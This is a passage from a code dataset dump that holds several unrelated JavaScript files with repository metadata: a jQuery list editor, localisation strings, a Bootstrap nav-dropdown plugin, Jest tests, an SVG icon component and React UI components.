hexsha
string
size
int64
ext
string
lang
string
max_stars_repo_path
string
max_stars_repo_name
string
max_stars_repo_head_hexsha
string
max_stars_repo_licenses
list
max_stars_count
int64
max_stars_repo_stars_event_min_datetime
string
max_stars_repo_stars_event_max_datetime
string
max_issues_repo_path
string
max_issues_repo_name
string
max_issues_repo_head_hexsha
string
max_issues_repo_licenses
list
max_issues_count
int64
max_issues_repo_issues_event_min_datetime
string
max_issues_repo_issues_event_max_datetime
string
max_forks_repo_path
string
max_forks_repo_name
string
max_forks_repo_head_hexsha
string
max_forks_repo_licenses
list
max_forks_count
int64
max_forks_repo_forks_event_min_datetime
string
max_forks_repo_forks_event_max_datetime
string
content
string
avg_line_length
float64
max_line_length
int64
alphanum_fraction
float64
5e0327ebbb01e33848e21acf4fb73543377b8fa7
3,744
js
JavaScript
yh/View/tools/ListEditor.js
fily-net/fily.ne
be1430723bf1fd7a4c546b5850dbff146fcd759e
[ "MIT" ]
null
null
null
yh/View/tools/ListEditor.js
fily-net/fily.ne
be1430723bf1fd7a4c546b5850dbff146fcd759e
[ "MIT" ]
null
null
null
yh/View/tools/ListEditor.js
fily-net/fily.ne
be1430723bf1fd7a4c546b5850dbff146fcd759e
[ "MIT" ]
null
null
null
$.NameSpace('$View.tools'); $View.tools.ListEditor = function (j) { var me = this, _fn = function () { }; var owner, coms = {}, nCom = new $.nCount(); var args = { p: $DB, id: 0 }; var rootID; var fcAry = [ { name: 'type', title: '组件类型', comType: 'Select', gtID: 53 }, { name: 'name', title: '变量名', comType: 'Input' } ]; var toolAry = [ { name: 'newGroup', text: '新建FormGroup', icon: 'icon-glyph-plus-sign' }, { name: 'save', text: '保存(Save)', icon: 'icon-compact-save' }, { name: 'debug', text: '调式(Debug)', icon: 'icon-compact-play' } ]; function setDefault(j) { args = $.Util.initArgs(j, args); } function layout() { owner = args.p.adElm('', 'div').cn('wp hp'); var comArgs = { 'root': { head_h: 30, foot_h: 0 }, 'toolBar': { items: toolAry, onClick: onToolBarClick }, 'rootLayout': { min: 200, max: 500, isRoot: true, start: 320, dir: 'we', dirLock: 2 }, 'attrLayout': { min: 200, max: 500, start: 320, dir: 'ns', dirLock: 2 }, 'fiTips': { head_h:30, cn: 'b0', title: '表单控件列表', icon: 'icon-glyph-align-justify', ifFixedHeigh: false }, 'fiList': { loadApi: 'm=SYS_TABLE_TREE&action=getTreeListByPid&pid=147&table=SYS_CM_GLOBAL_TABLE', ifShowIcon: true } } var struct = { p: owner, type: 'BaseDiv', name: 'root', head: { type: 'ButtonSet', name: 'toolBar' }, body: { type: 'Layout', name: 'rootLayout', eHead: { type: 'Layout', name: 'attrLayout', }, eFoot: { type: 'Tips', name: 'fiTips', body: [ {name:'fiList', type:'List'} ] } } } coms = $.Util.initUI({ args: comArgs, struct: struct }); } function onToolBarClick(obj) { switch (obj.Name) { } } me.loadById = function (id) { if (id == null || id == args.id) { return; } $.Util.ajax({ args: { m: 'SYS_CM_UI', action: 'getById', id: id, dataType: 'json', keyFields: 'id,nodeName,initArgs,structArgs,comArgs,chartArgs,varArgs' }, onSuccess: function (d) { var _str = d.get(0), _vObj = {}, _dAry = []; args.id = id; if (_str) { _vObj = eval(_str)[0]; _dAry = eval(_vObj.chartArgs); var _var = $(_vObj.varArgs); comSet = _var.comSet || {}; argsSet = _var.argsSet || {}; args.nodeName = _vObj.nodeName; newBtn.setEnabled(false); } else { newBtn.setEnabled(true); } flowChart.reLoad(_dAry); flowChart.firePointClick(); if (flowChart.firstPoint) { rootID = flowChart.firstPoint.id; } } }); } me.getArgs = function () { return args; } me.evt = function (key, fn) { me.set(key, fn); return me; } me.set = function (key, value) { args[key] = value; return me; } me.get = function (key) { return args[key]; } me.show = function () { owner.show(); return me; } me.hide = function () { owner.hide(); return me; } me.remove = function () { owner.r(); me = null; delete me; } me.init = function (j) { setDefault(j); layout(); return me; } if (arguments.length) { me.init(j); } return me; }
40.258065
155
0.461271
5e039662beea657018735672143213d1a6d862af
2,123
js
JavaScript
public/filemanager/apps/systemtags/l10n/pl.js
yuan8/nwspbot
3956c9d8850ba9814f955785de598f30afc056cb
[ "MIT" ]
null
null
null
public/filemanager/apps/systemtags/l10n/pl.js
yuan8/nwspbot
3956c9d8850ba9814f955785de598f30afc056cb
[ "MIT" ]
null
null
null
public/filemanager/apps/systemtags/l10n/pl.js
yuan8/nwspbot
3956c9d8850ba9814f955785de598f30afc056cb
[ "MIT" ]
null
null
null
OC.L10N.register( "systemtags", { "Tags" : "Etykiety", "Tagged files" : "Otagowane pliki", "Select tags to filter by" : "Wybierz tagi do filtru", "Please select tags to filter by" : "Proszę wybrać tagi do filtrów", "No files found for the selected tags" : "Nie znaleziono plików dla wybranych etykiet", "<strong>System tags</strong> for a file have been modified" : "<strong>System etykiet</strong> dla pliku został zmieniony", "You assigned system tag %3$s" : "Przypisano znacznik systemowy %3$s", "%1$s assigned system tag %3$s" : "%1$s przypisywalny system etykiet%3$s", "You unassigned system tag %3$s" : "Usunięto znacznik systemowy %3$s", "%1$s unassigned system tag %3$s" : "%1$s nieprzypisany system etykiet%3$s", "You created system tag %2$s" : "Utworzono znacznik systemowy %2$s", "%1$s created system tag %2$s" : "%1$s stworzony system etykiet%2$s", "You deleted system tag %2$s" : "Skasowano znacznik systemowy %2$s", "%1$s deleted system tag %2$s" : "%1$s usunięty system etykiet%2$s", "You updated system tag %3$s to %2$s" : "Zaktualizowano znacznik systemowy %3$s do %2$s", "%1$s updated system tag %3$s to %2$s" : "%1$s zaktualizowany system etykiet%3$s do %2$s", "You assigned system tag %3$s to %2$s" : "Przypisano znacznik systemowy %3$s do %2$s", "%1$s assigned system tag %3$s to %2$s" : "%1$s przypisywalny system etykiet%3$s do %2$s", "You unassigned system tag %3$s from %2$s" : "Usunięto znacznik systemowy %3$s z %2$s", "%1$s unassigned system tag %3$s from %2$s" : "%1$s nieprzypisany system etykiet %3$s z %2$s", "%s (restricted)" : "%s (ograniczone)", "%s (invisible)" : "%s (niewidoczny)", "%s (static)" : "%s(statycznie)", "No files in here" : "Brak plików", "No entries found in this folder" : "Brak wpisów w tym folderze", "Name" : "Nazwa", "Size" : "Rozmiar", "Modified" : "Modyfikacja" }, "nplurals=4; plural=(n==1 ? 0 : (n%10>=2 && n%10<=4) && (n%100<12 || n%100>14) ? 1 : n!=1 && (n%10>=0 && n%10<=1) || (n%10>=5 && n%10<=9) || (n%100>=12 && n%100<=14) ? 2 : 3);");
62.441176
178
0.618464
5e03f751e3f9694d0c71418af986d9a1866f19ab
18,913
js
JavaScript
cities/costa_rica/assets/dropdown/js/nav-dropdown.js
Fernando23296/saturdaysai
73ee71c8e066e0d25d63230df349b909db582134
[ "MIT" ]
13
2015-01-03T22:05:33.000Z
2019-10-23T06:44:25.000Z
cities/costa_rica/assets/dropdown/js/nav-dropdown.js
Fernando23296/saturdaysai
73ee71c8e066e0d25d63230df349b909db582134
[ "MIT" ]
24
2021-04-17T17:29:46.000Z
2022-03-03T23:26:05.000Z
cities/costa_rica/assets/dropdown/js/nav-dropdown.js
Fernando23296/saturdaysai
73ee71c8e066e0d25d63230df349b909db582134
[ "MIT" ]
7
2019-02-05T22:18:08.000Z
2021-01-09T07:52:10.000Z
(function($){ var NAME = 'navDropdown'; var DATA_KEY = 'bs.nav-dropdown'; var EVENT_KEY = '.' + DATA_KEY; var DATA_API_KEY = '.data-api'; var JQUERY_NO_CONFLICT = $.fn[NAME]; var Event = { HIDE: 'hide' + EVENT_KEY, HIDDEN: 'hidden' + EVENT_KEY, SHOW: 'show' + EVENT_KEY, SHOWN: 'shown' + EVENT_KEY, CLICK: 'click' + EVENT_KEY, READY: 'ready' + EVENT_KEY, COLLAPSE: 'collapse' + EVENT_KEY, LOAD_DATA_API: 'ready' + EVENT_KEY + DATA_API_KEY, CLICK_DATA_API: 'click' + EVENT_KEY + DATA_API_KEY, RESIZE_DATA_API: 'resize' + EVENT_KEY + DATA_API_KEY, KEYDOWN_DATA_API: 'keydown' + EVENT_KEY + DATA_API_KEY, NAVBAR_COLLAPSE: 'collapse.bs.navbar-dropdown' }; var Hotkeys = { ESC: 27, LEFT: 37, UP: 38, RIGHT: 39, DOWN: 40 }; var Breakpoints = { XS: 544, SM: 768, MD: 992, LG: 1200, XL: Infinity }; var ClassName = { BACKDROP: 'dropdown-backdrop', DISABLED: 'disabled', OPEN: 'open', SM: 'nav-dropdown-sm' }; var Selector = { BASE: '.nav-dropdown', DROPDOWN: '.dropdown', DROPDOWN_MENU: '.dropdown-menu', BACKDROP: '.' + ClassName.BACKDROP, DATA_BUTTON: '[data-button]', DATA_TOGGLE: '[data-toggle="dropdown-submenu"]', FORM_CHILD: '.dropdown form' }; var $$ = (function(){ function Item(elements, prevItem) { if (!('length' in elements)) elements = [elements]; this.props = {}; this.length = elements.length; if (prevItem) { this.prevItem = prevItem; $.extend(this.props, prevItem.props); } for (var i = 0; i < elements.length; i++) { this[i] = elements[i]; } } Item.prototype.eq = function(index) { return new Item(this[index] ? this[index] : [], this); }; Item.prototype.parent = function() { return new Item( $(this).map(function(){ var $$this = new Item(this); if ($$this.is(':upper')) return null; return $( $$this.is(':toggle') ? this.parentNode.parentNode : this ) .closest(Selector.DROPDOWN) .find('>' + Selector.DATA_TOGGLE)[0]; }), this ); }; Item.prototype.parents = function(selector) { var elements = $(this).map(function(){ return (new Item(this)).is(':toggle') ? this.parentNode : this; }).parentsUntil(Selector.BASE, Selector.DROPDOWN); if (selector === ':upper') elements = elements.last(); elements = elements.find('>' + Selector.DATA_TOGGLE); return new Item(elements, this); }; Item.prototype.children = function(deepSearch) { var elements = []; $(this).each(function(){ var $parent, $items, $$item = new Item(this); if ($$item.is(':root')) { $parent = $(this); } else if ($$item.is(':toggle')) { $parent = $(this).parent().find('>' + Selector.DROPDOWN_MENU); } else { return; } if (deepSearch) { $items = $parent.find('a'); } else if ($$item.is(':root')) { $items = $parent.find('>li>a'); } else { $items = $parent.find('>a, >' + Selector.DROPDOWN + '>a'); } $items.each(function(){ if ((deepSearch && !this.offsetWidth && !this.offsetHeight) || this.disabled || $(this).is(Selector.DATA_BUTTON) || $(this).hasClass(ClassName.DISABLED) || ~$.inArray(this, elements)) { return; } elements.push(this); }); }); return new Item(elements, this); }; Item.prototype.root = function() { return new Item( $(this).closest(Selector.BASE), this ); }; Item.prototype.jump = function(step) { step = step || 'next'; if (!this.length) { return new Item([], this); } var children, $$item = this.eq(0); if (this.is(':flat') || $$item.is(':upper')) { children = $$item.root().children( this.is(':flat') ); } else { children = $$item.parent().children(); } var index = $.inArray(this[0], children); if (!children.length || !~index) { return new Item([], this); } if (step == 'next') { index += 1; if (index < children.length) { return new Item(children[index], this); } step = 'first'; } else if (step == 'prev') { index -= 1; if (index >= 0) { return new Item(children[index], this); } step = 'last'; } if (step == 'first') return new Item(children[0], this); if (step == 'last') return new Item(children[ children.length - 1 ], this); return new Item([], this); }; Item.prototype.next = function() { return this.jump('next'); }; Item.prototype.prev = function() { return this.jump('prev'); }; Item.prototype.first = function() { return this.jump('first'); }; Item.prototype.last = function() { return this.jump('last'); }; Item.prototype.prop = function(name, value) { if (arguments.length) { if (arguments.length > 1) { this.props[name] = value; return this; } if (typeof arguments[0] == 'object') { $.extend(this.props, arguments[0]); return this; } return (name in this.props) ? this.props[name] : null; } return $.extend({}, this.props); }; Item.prototype.removeProp = function(name) { delete this.props[name]; return this; }; Item.prototype.is = function(selector) { var $this = $(this), selectors = (selector || '').split(/(?=[*#.\[:\s])/); while (selector = selectors.pop()){ switch (selector){ case ':root': if (!$this.is(Selector.BASE)) return false; break; case ':upper': if (!$this.parent().parent().is(Selector.BASE)) return false; break; case ':opened': case ':closed': if ((selector == ':opened') != $this.parent().hasClass(ClassName.OPEN)) return false; case ':toggle': if (!$this.is(Selector.DATA_TOGGLE)) return false; break; default: if (!this.props[selector]) return false; break; } } return true; }; Item.prototype.open = function() { if (this.is(':closed')) { this.click(); } return this; }; Item.prototype.close = function() { if (this.is(':opened')) { this.click(); } return this; }; Item.prototype.focus = function() { if (this.length) { this[0].focus(); } return this; }; Item.prototype.click = function() { if (this.length) { $(this[0]).trigger('click'); } return this; } return function(element) { return new Item(element); }; })(); var NavDropdown = function(element){ this._element = element; $(this._element).on(Event.CLICK, this.toggle); }; NavDropdown.prototype.toggle = function(event) { if (this.disabled || $(this).hasClass(ClassName.DISABLED)) { return false; } var $parent = $(this.parentNode); var isActive = $parent.hasClass(ClassName.OPEN); var isCollapsed = NavDropdown._isCollapsed( $(this).closest(Selector.BASE) ); NavDropdown._clearMenus( $.Event('click', { target: this, data: { toggles: isCollapsed ? [this] : null } }) ); if (isActive) { return false; } if ('ontouchstart' in document.documentElement && !$parent.closest(Selector.DROPDOWN + '.' + ClassName.OPEN).length) { // if mobile we use a backdrop because click events don't delegate var dropdown = document.createElement('div'); dropdown.className = ClassName.BACKDROP; $(dropdown).insertBefore( $(this).closest(Selector.BASE) ); $(dropdown).on('click', NavDropdown._clearMenus); } var relatedTarget = { relatedTarget: this }; var showEvent = $.Event(Event.SHOW, relatedTarget); $parent.trigger(showEvent); if (showEvent.isDefaultPrevented()) { return false; } this.focus(); this.setAttribute('aria-expanded', 'true'); $parent.toggleClass(ClassName.OPEN); $parent.trigger( $.Event(Event.SHOWN, relatedTarget) ); return false; }; NavDropdown.prototype.dispose = function() { $.removeData(this._element, DATA_KEY); $(this._element).off(EVENT_KEY); this._element = null; }; NavDropdown._clearMenus = function(event) { event = event || {}; if (event.which === 3) { return; } var collapseEvent; var filter = function(){ return false; }; if (event.target) { if (this === document) { if ( $(event.target).is('a:not([disabled], .' + ClassName.DISABLED + ')') ) { collapseEvent = $.Event(Event.COLLAPSE, { relatedTarget: event.target }) } else { var $rootNode = (event.targetWrapper && $(event.targetWrapper).find(Selector.BASE)) || $(event.target).closest(Selector.BASE); if (NavDropdown._isCollapsed($rootNode)) return; } } else { if ($(event.target).hasClass(ClassName.BACKDROP)) { var $nextNode = $(event.target).next(); if ($nextNode.is(Selector.BASE) && NavDropdown._isCollapsed($nextNode)) { return; } } } if ($(event.target).is(Selector.DATA_TOGGLE)) { filter = $(event.target.parentNode).parents(Selector.DROPDOWN).find('>' + Selector.DATA_TOGGLE); } else { $(Selector.BACKDROP).remove(); } } var toggles = (event.data && event.data.toggles && $(event.data.toggles).parent().find(Selector.DATA_TOGGLE)) || $.makeArray( $(Selector.DATA_TOGGLE).not(filter) ); for (var i = 0; i < toggles.length; i++) { var parent = toggles[i].parentNode; var relatedTarget = { relatedTarget: toggles[i] }; if (!$(parent).hasClass(ClassName.OPEN)) { continue; } if (event.type === 'click' && (/input|textarea/i.test(event.target.tagName)) && ($.contains(parent, event.target))) { continue; } var hideEvent = $.Event(Event.HIDE, relatedTarget); $(parent).trigger(hideEvent); if (hideEvent.isDefaultPrevented()) { continue; } toggles[i].setAttribute('aria-expanded', 'false'); $(parent) .removeClass(ClassName.OPEN) .trigger( $.Event(Event.HIDDEN, relatedTarget) ); } if (collapseEvent) { $(document).trigger(collapseEvent); } }; // static NavDropdown._dataApiKeydownHandler = function(event) { if (/input|textarea/i.test(event.target.tagName)) { return; } // ???? var found; for (var k in Hotkeys) { if (found = (Hotkeys[k] === event.which)) { break; } } if (!found) return; event.preventDefault(); event.stopPropagation(); if (event.which == Hotkeys.ESC) { if (NavDropdown._isCollapsed(this)) { return; } var toggle = $(event.target).parents(Selector.DROPDOWN + '.' + ClassName.OPEN) .last().find('>' + Selector.DATA_TOGGLE); NavDropdown._clearMenus(); toggle.trigger('focus'); return; } if (event.target.tagName != 'A') { return; } var $$item = $$(event.target); $$item.prop(':flat', NavDropdown._isCollapsed($$item.root())); if ($$item.is(':flat')){ if (event.which === Hotkeys.DOWN || event.which === Hotkeys.UP) { $$item[ event.which === Hotkeys.UP ? 'prev' : 'next' ]().focus(); } else if (event.which === Hotkeys.LEFT) { if ($$item.is(':opened')) { $$item.close(); } else { $$item.parent().close().focus(); } } else if (event.which === Hotkeys.RIGHT && $$item.is(':toggle')) { $$item.open(); } } else if ($$item.is(':upper')) { if (event.which === Hotkeys.LEFT || event.which === Hotkeys.RIGHT) { $$item[event.which === Hotkeys.LEFT ? 'prev' : 'next']().focus().open(); if ($$item.is(':toggle')) $$item.close(); } else if ((event.which === Hotkeys.DOWN || event.which === Hotkeys.UP) && $$item.is(':toggle')) { $$item.children()[ event.which === Hotkeys.DOWN ? 'first' : 'last' ]().focus(); } } else { if (event.which === Hotkeys.LEFT) { var $$parent = $$item.parent(); if ($$parent.is(':upper')) { $$parent.close().prev().focus().open(); } else { $$parent.focus().close(); } } else if (event.which === Hotkeys.RIGHT) { var $$children = $$item.children(); if ($$children.length) { $$item.open(); $$children.first().focus(); } else { $$item.parents(':upper').close().next().focus().open(); } } else if (event.which === Hotkeys.DOWN || event.which === Hotkeys.UP) { $$item[ event.which === Hotkeys.UP ? 'prev' : 'next' ]().focus(); } } }; // static NavDropdown._isCollapsed = function(rootNode) { var match; if (rootNode.length) rootNode = rootNode[0]; return rootNode && (match = /navbar-toggleable-(xs|sm|md|lg|xl)/.exec(rootNode.className)) && (window.innerWidth < Breakpoints[ match[1].toUpperCase() ]); }; // static NavDropdown._dataApiResizeHandler = function() { $(Selector.BASE).each(function(){ var isCollapsed = NavDropdown._isCollapsed(this); $(this).find(Selector.DROPDOWN).removeClass(ClassName.OPEN); $(this).find('[aria-expanded="true"]').attr('aria-expanded', 'false'); var backdrop = $(Selector.BACKDROP)[0]; if (backdrop) { backdrop.parentNode.removeChild(backdrop); // ??? } if (isCollapsed == $(this).hasClass(ClassName.SM)) { return; } if (isCollapsed) { $(this).addClass(ClassName.SM); } else { $(this).removeClass(ClassName.SM); // $(this).removeClass(ClassName.SM + ' in'); /// ??? // NavDropdown._clearMenus(); } }); }; /** * ------------------------------------------------------------------------ * jQuery * ------------------------------------------------------------------------ */ $.fn[NAME] = function(config) { return this.each(function(){ var data = $(this).data(DATA_KEY); if (!data) { $(this).data(DATA_KEY, (data = new NavDropdown(this))); } if (typeof config === 'string') { if (data[config] === undefined) { throw new Error('No method named "' + config + '"'); } data[config].call(this); } }); }; $.fn[NAME].noConflict = function() { $.fn[NAME] = JQUERY_NO_CONFLICT; return this; }; $.fn[NAME].Constructor = NavDropdown; $.fn[NAME].$$ = $$; $(window) .on(Event.RESIZE_DATA_API + ' ' + Event.LOAD_DATA_API, NavDropdown._dataApiResizeHandler); $(document) .on(Event.KEYDOWN_DATA_API, Selector.BASE, NavDropdown._dataApiKeydownHandler) .on(Event.NAVBAR_COLLAPSE, NavDropdown._clearMenus) .on(Event.CLICK_DATA_API, NavDropdown._clearMenus) .on(Event.CLICK_DATA_API, Selector.DATA_TOGGLE, NavDropdown.prototype.toggle) .on(Event.CLICK_DATA_API, Selector.FORM_CHILD, function(e){ e.stopPropagation(); }); $(window) .trigger(Event.READY); })(jQuery);
29.413686
172
0.447523
5e0530684a9d7e7646050fa3bb821bf72cf98a83
857
js
JavaScript
part-1/example_1.2.test.js
bad4iz/Sports-programming
0d9ab54d85c97ef8b1e00a49aae330ac19cf303d
[ "MIT" ]
null
null
null
part-1/example_1.2.test.js
bad4iz/Sports-programming
0d9ab54d85c97ef8b1e00a49aae330ac19cf303d
[ "MIT" ]
4
2020-09-06T11:52:21.000Z
2021-09-01T19:06:54.000Z
part-1/example_1.2.test.js
bad4iz/sports-programming
0d9ab54d85c97ef8b1e00a49aae330ac19cf303d
[ "MIT" ]
null
null
null
import example from './example_1.2'; describe('Example_1.2 n = 3', () => { const n = 3; it('test 1 el', () => { const expected = '1 2 3'; expect(example({ n })[0]).toEqual(expected); }); it('test 4 el', () => { const expected = '2 3 1'; expect(example({ n })[3]).toEqual(expected); }); it('test 6 el', () => { const expected = '3 2 1'; expect(example({ n })[5]).toEqual(expected); }); }); describe('Example_1.2 2.9.2 n = 7', () => { const n = 7; it('test 4468 el', () => { const expected = '7 2 3 1 5 6 4'; expect(example({ n })[4467]).toEqual(expected); }); it('test 4 el', () => { const expected = '1 2 3 4 6 7 5'; expect(example({ n })[3]).toEqual(expected); }); it('test 6 el', () => { const expected = '1 2 3 4 7 6 5'; expect(example({ n })[5]).toEqual(expected); }); });
23.805556
51
0.504084
5e055cd125ff52bce239fc12347935df47d49060
419
js
JavaScript
public/packages/summerblue/administrator/js/ckeditor/plugins/uploadwidget/lang/da.js
cocopirate/larabbs
42358b28099e443817692c4d18ffd5b81f9e541d
[ "MIT" ]
2
2021-01-21T07:38:41.000Z
2021-02-18T05:25:17.000Z
public/packages/summerblue/administrator/js/ckeditor/plugins/uploadwidget/lang/da.js
cocopirate/larabbs
42358b28099e443817692c4d18ffd5b81f9e541d
[ "MIT" ]
13
2020-09-16T13:32:18.000Z
2021-02-12T13:53:51.000Z
public/packages/summerblue/administrator/js/ckeditor/plugins/uploadwidget/lang/da.js
cocopirate/larabbs
42358b28099e443817692c4d18ffd5b81f9e541d
[ "MIT" ]
null
null
null
/* Copyright (c) 2003-2017, CKSource - Frederico Knabben. All rights reserved. For licensing, see LICENSE.md or http://ckeditor.com/license */ CKEDITOR.plugins.setLang("uploadwidget","da",{abort:"Upload er afbrudt af brugen.",doneOne:"Filen er uploadet.",doneMany:"Du har uploadet %1 filer.",uploadOne:"Uploader fil ({percentage}%)...",uploadMany:"Uploader filer, {current} af {max} er uploadet ({percentage}%)..."});
83.8
274
0.727924
5e05ed3161b141494c60e0857b2a079087d79131
1,719
js
JavaScript
dist/color/icons/AdobePremiereColor.js
garudatechnologydevelopers/Free-Icons
79c4a3bb2e278c1b0bd279600e9a5d4d3101188c
[ "MIT" ]
5
2022-03-13T12:59:32.000Z
2022-03-26T08:02:50.000Z
dist/color/icons/AdobePremiereColor.js
garudatechnologydevelopers/Free-Icons
79c4a3bb2e278c1b0bd279600e9a5d4d3101188c
[ "MIT" ]
7
2022-03-14T05:33:19.000Z
2022-03-25T15:20:38.000Z
dist/color/icons/AdobePremiereColor.js
garudatechnologydevelopers/Free-Icons
79c4a3bb2e278c1b0bd279600e9a5d4d3101188c
[ "MIT" ]
3
2022-03-15T03:55:58.000Z
2022-03-26T08:02:53.000Z
const React=require("react");function AdobePremiereColor(e){return React.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 32 32",width:32,height:32,strokeWidth:!0,stroke:!0},e),React.createElement("path",{fill:"#00005B",d:"M2 12.1333c0-3.54697 0-5.32047.69029-6.67524.6072-1.19169 1.57608-2.16057 2.76777-2.76777C6.81283 2 8.58633 2 12.1333 2h7.7334c3.547 0 5.3205 0 6.6752.69029 1.1917.6072 2.1606 1.57608 2.7678 2.76777C30 6.81283 30 8.58633 30 12.1333v7.7334c0 3.547 0 5.3205-.6903 6.6752-.6072 1.1917-1.5761 2.1606-2.7678 2.7678C25.1872 30 23.4137 30 19.8667 30h-7.7334c-3.54697 0-5.32047 0-6.67524-.6903-1.19169-.6072-2.16057-1.5761-2.76777-2.7678C2 25.1872 2 23.4137 2 19.8667v-7.7334Z"}),React.createElement("path",{fill:"#99F",d:"M8 21.7957V9.20796c0-.08563.0351-.13456.11701-.13456C9.32624 9.0734 10.5349 9 11.7445 9c1.9626 0 4.0878.68403 4.8327 2.7769.1755.5138.2691 1.0398.2691 1.5903 0 1.052-.234 1.9205-.7021 2.6056-1.3074 1.9136-3.5736 1.8839-5.605 1.8839v3.9267c.0159.1163-.0813.1713-.1755.1713H8.14042c-.09361 0-.14042-.0489-.14042-.159Zm2.5509-10.3613v4.1102c.8055.0602 1.6483.0667 2.4222-.1957.8544-.2512 1.3223-1.005 1.3223-1.9083.0238-.7697-.3877-1.5083-1.0882-1.786-.7646-.3241-1.8309-.3435-2.6563-.2202Zm7.8816.7775h2.0536c.1132.0011.2149.0828.2448.197.1505.3493.1691.7706.1696 1.1477.3522-.4287.7768-.7858 1.2528-1.0537.5105-.3019 1.0892-.455 1.6756-.4431.0974-.0146.1835.0755.1696.1772v2.3831c0 .0921-.063.1379-.1884.1379-.8692-.0627-2.2224.152-2.854.8666v6.1964c0 .1182-.0502.1773-.1507.1773h-2.2033c-.1082.0162-.2037-.0856-.1884-.197v-6.7282c0-.9015.0187-1.8302-.113-2.7233-.0203-.0822.0549-.1586.1318-.1379Z"}))}module.exports=AdobePremiereColor;
1,719
1,719
0.739383
5e067c497ccac57d2d7ee060434d3bd88fde6625
869
js
JavaScript
client/src/components/diceComponent.js
DanRingenbach/DnD-Character-Builder
8f0c2ca40584dc6484240ae6d9d6eb6b230d4b70
[ "MIT" ]
null
null
null
client/src/components/diceComponent.js
DanRingenbach/DnD-Character-Builder
8f0c2ca40584dc6484240ae6d9d6eb6b230d4b70
[ "MIT" ]
null
null
null
client/src/components/diceComponent.js
DanRingenbach/DnD-Character-Builder
8f0c2ca40584dc6484240ae6d9d6eb6b230d4b70
[ "MIT" ]
null
null
null
// import React, { useState } from "react"; // import { // Card, // ListGroupItem, // ListGroup, // Col, // Row, // Form, // } from "react-bootstrap"; // // import { DiceRoll, exportFormats } from "rpg-dice-roller"; // const DiceComponent = () => { // const [diceRoll, setDiceRoll] = useState({ // diceRoll:'', // }) // const rollDice = async (event) => { // // event.preventDefault(); // const roll = new DiceRoll("4d6dl1"); // return roll.output // }; // const handleChange = (event) => { // const { diceRoll, userRoll } = event.target; // setDiceRoll({ ...diceRoll, diceRoll: userRoll }); // } // return ( // <div> // <p>You rolled </p> // <button onClick={rollDice}> // Roll Dice! // </button> // </div> // ); // } // export default DiceComponent
17.734694
64
0.514384
5e07c14c9df249c4556931ab66b5ba1e01d5c067
2,179
js
JavaScript
src/components/Create/Main.js
RetroAstro/rewarder
d33d3aaf14f4e909f19c2717cea28b662b75c946
[ "MIT" ]
2
2019-02-07T10:12:53.000Z
2019-02-07T10:26:17.000Z
src/components/Create/Main.js
RetroAstro/reward-bms
d33d3aaf14f4e909f19c2717cea28b662b75c946
[ "MIT" ]
null
null
null
src/components/Create/Main.js
RetroAstro/reward-bms
d33d3aaf14f4e909f19c2717cea28b662b75c946
[ "MIT" ]
null
null
null
import React, { Component } from 'react' import { withRouter } from 'react-router-dom' import Nav from './Nav' import BoxList from './BoxList' import Button from './Button' import Choose from './Choose' import { Context } from './Context' import bus from '@utils/bus' import local from '@utils/local' class Main extends Component { state = { show: false, typelist: [], untypelist: [] } handleCreate = () => { this.setState({ show: true }) } handleChoose = (val) => { if (val === 'type') { this.setState({ show: false, typelist: [...this.state.typelist, new Date().getTime() + '-' + val] }) } else if (val === 'untype') { this.setState({ show: false, untypelist: [...this.state.untypelist, new Date().getTime() + '-' + val] }) } } deleteBox = (val) => { var t = val.split('-')[1] if (t === 'type') { this.setState({ typelist: [...this.state.typelist.filter(item => item !== val)] }) } else if (t === 'untype') { this.setState({ untypelist: [...this.state.untypelist.filter(item => item !== val)] }) } } componentDidMount () { var params = new URLSearchParams(this.props.location.search) var acname = params.get('acname') var list = local.getLocal('dataList') if (list.length) { list.map((item) => { if (item.acname === acname && item.status === 2) { this.setState({ typelist: item.typelist.map(box => box.mark), untypelist: item.untypelist.map(box => box.mark) }, () => { bus.emit('show', item) }) } }) } } render () { return ( <div className="main"> <Nav handleCreate={this.handleCreate} /> <Context.Provider value={this.deleteBox} > <BoxList typelist={this.state.typelist} untypelist={this.state.untypelist} /> </Context.Provider> <Button /> <Choose active={this.state.show} handleChoose={this.handleChoose} /> </div> ) } } export default withRouter(Main)
25.635294
80
0.530978
5e07d11edf068e2315b747bc6750dd157140e54c
7,973
js
JavaScript
__test__/components/grid.test.js
railwcode/bk-vue-cec
b5d75ee1e571fd1c2e12fe9aff5aa05d72f0b013
[ "MIT" ]
97
2021-08-22T12:43:39.000Z
2021-12-24T13:26:21.000Z
__test__/components/grid.test.js
Wei-Huck/bk-vue-cec
9c5c830893f1805c86856c698f82cab7646930dd
[ "MIT" ]
32
2021-09-24T07:05:49.000Z
2022-01-10T11:30:32.000Z
__test__/components/grid.test.js
Wei-Huck/bk-vue-cec
9c5c830893f1805c86856c698f82cab7646930dd
[ "MIT" ]
82
2021-09-22T03:24:22.000Z
2022-02-22T02:15:01.000Z
/* * Tencent is pleased to support the open source community by making * 科技内在设计(T-inside) available. * * Copyright (C) 2021 THL A29 Limited, a Tencent company. All rights reserved. * * 科技内在设计(T-inside) is licensed under the MIT License. * * License for 科技内在设计(T-inside): * * --------------------------------------------------- * Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated * documentation files (the "Software"), to deal in the Software without restriction, including without limitation * the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and * to permit persons to whom the Software is furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all copies or substantial portions of * the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO * THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF * CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS * IN THE SOFTWARE. */ /** * @file grid 组件单测 * * Copyright © 2020-2021 T-inside Design. All Rights Reserved. T-inside 版权所有 */ import Vue from 'vue' import bkContainer from '@/components/container' import bkRow from '@/components/row' import bkCol from '@/components/col' import { mount } from '@vue/test-utils' Vue.component(bkContainer.name, bkContainer) Vue.component(bkRow.name, bkRow) Vue.component(bkCol.name, bkCol) describe('Grid', () => { it('render init components with slots', () => { const wrapper = mount(bkContainer, { slots: 